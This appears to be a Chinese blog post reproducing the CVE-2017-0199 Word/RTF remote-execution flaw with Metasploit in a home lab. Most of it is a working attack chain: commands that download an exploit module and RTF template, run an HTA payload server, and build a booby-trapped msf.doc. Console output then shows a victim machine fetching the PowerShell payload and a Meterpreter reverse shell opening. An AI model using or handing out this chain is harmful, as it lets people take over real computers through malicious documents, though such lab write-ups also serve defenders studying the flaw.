cve-2017-0199&metasploit复现过程

CVE-2017-0199 WORD/RTF嵌入OLE调用远程文件执行的一个漏洞。不需要用户交互。打开文档即中招

首先更新msf到最新,据说最新版简化了利用过程,不需要开启hta这一步.但没测成功 还是按老方法

更新msf,增加国内源

 #清华大学
 #deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
 #deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free

 #浙大
 #deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
 #deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free

 #东软大学
 #deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
 #deb-src http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib

 #官方源
 #deb http://http.kali.org/kali kali-rolling main non-free contrib
 #deb-src http://http.kali.org/kali kali-rolling main non-free contrib

没用阿里云的是因为用阿里云的源更新时,提示hash校验失败.

 apt-get clean && apt-get update -y && apt-get -f upgrade -y
 msfupdate

下载对应exploit

 cd /usr/share/metasploit-framework/modules/exploits/windows/fileformat
 wget https://raw.githubusercontent.com/nixawk/metasploit-framework/feature/CVE-2017-0199/modules/exploits/windows/fileformat/office_word_hta.rb

下载cve-2017-0199.rtf:

 cd /usr/share/metasploit-framework/data/exploits
 wget https://raw.githubusercontent.com/nixawk/metasploit-framework/feature/CVE-2017-0199/data/exploits/cve-2017-0199.rtf

开启HTA:

 root@kali:~# msfconsole

      ,           ,
     /             \
    ((__---,,,---__))
       (_) O O (_)_________
          \ _ /            |\
           o_o \   M S F   | \
                \   _____  |  *
                 |||   WW|||
                 |||     |||

 Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro
 Learn more on http://rapid7.com/metasploit

        =[ metasploit v4.14.14-dev                         ]
 + -- --=[  exploits -  auxiliary -  post        ]
 + -- --=[  payloads -  encoders -  nops             ]
 + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

 msf > use exploit/windows/misc/hta_server
 msf exploit(hta_server) > show options 

 Module options (exploit/windows/misc/hta_server):

    Name     Current Setting  Required  Description
    ----     ---------------  --------  -----------
    SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
    SRVPORT               yes       The local port to listen on.
    SSL      false            no        Negotiate SSL for incoming connections
    SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
    URIPATH                   no        The URI to use for this exploit (default is random)

 Exploit target:

    Id  Name
    --  ----
       Powershell x86

 msf exploit(hta_server) > run
 [*] Exploit running as background job.

 [*] Started reverse TCP handler on 192.168.1.101:
 [*] Using URL: http://0.0.0.0:8080/h48EGx964y.hta
 [*] Local IP: http://192.168.1.101:8080/h48EGx964y.hta
 [*] Server started.
 msf exploit(hta_server) > use exploit/windows/fileformat/office_word_hta
 msf exploit(office_word_hta) > show options 

 Module options (exploit/windows/fileformat/office_word_hta):

    Name       Current Setting              Required  Description
    ----       ---------------              --------  -----------
    FILENAME                                no        The file name.
    TARGETURI  http://example.com/test.rtf  yes       The path to a online hta file.

 Exploit target:

    Id  Name
    --  ----
       Microsoft Office Word

生成payload doc文档:

 msf exploit(office_word_hta) > set TARGETURI http://192.168.1.101:8080/h48EGx964y.hta
 TARGETURI => http://192.168.1.101:8080/h48EGx964y.hta
 msf exploit(office_word_hta) > set FILENAME msf.doc
 FILENAME => msf.doc
 msf exploit(office_word_hta) > run

 [+] msf.doc stored at /root/.msf4/local/msf.doc
 msf exploit(office_word_hta) >
 msf exploit(office_word_hta) >
 msf exploit(office_word_hta) >
 msf exploit(office_word_hta) >
 msf exploit(office_word_hta) >
 msf exploit(office_word_hta) >
 msf exploit(office_word_hta) > 

 msf exploit(office_word_hta) >
 msf exploit(office_word_hta) >
 msf exploit(office_word_hta) >
 msf exploit(office_word_hta) >
 msf exploit(office_word_hta) >
 msf exploit(office_word_hta) >
 [*] 192.168.1.108    hta_server - Delivering Payload
 [*] 192.168.1.108    hta_server - Delivering Payload
 [*] Sending stage ( bytes) to 192.168.1.108
 [*] Meterpreter session  opened (192.168.1.101: -> 192.168.1.108:) at -- :: +

 msf exploit(office_word_hta) > sessions -i

 Active sessions
 ===============

   Id  Type                     Information       Connection
   --  ----                     -----------       ----------
      meterpreter x86/windows  FEIYU\yu @ FEIYU  192.168.1.101: -> 192.168.1.108: (192.168.1.108)

 msf exploit(office_word_hta) > session
 [-] Unknown command: session.
 msf exploit(office_word_hta) > sessions -i
 [*] Starting interaction with ...

去目标机上看下:

需要注意的是,不是所有版本都支持,比如我的office plus 2013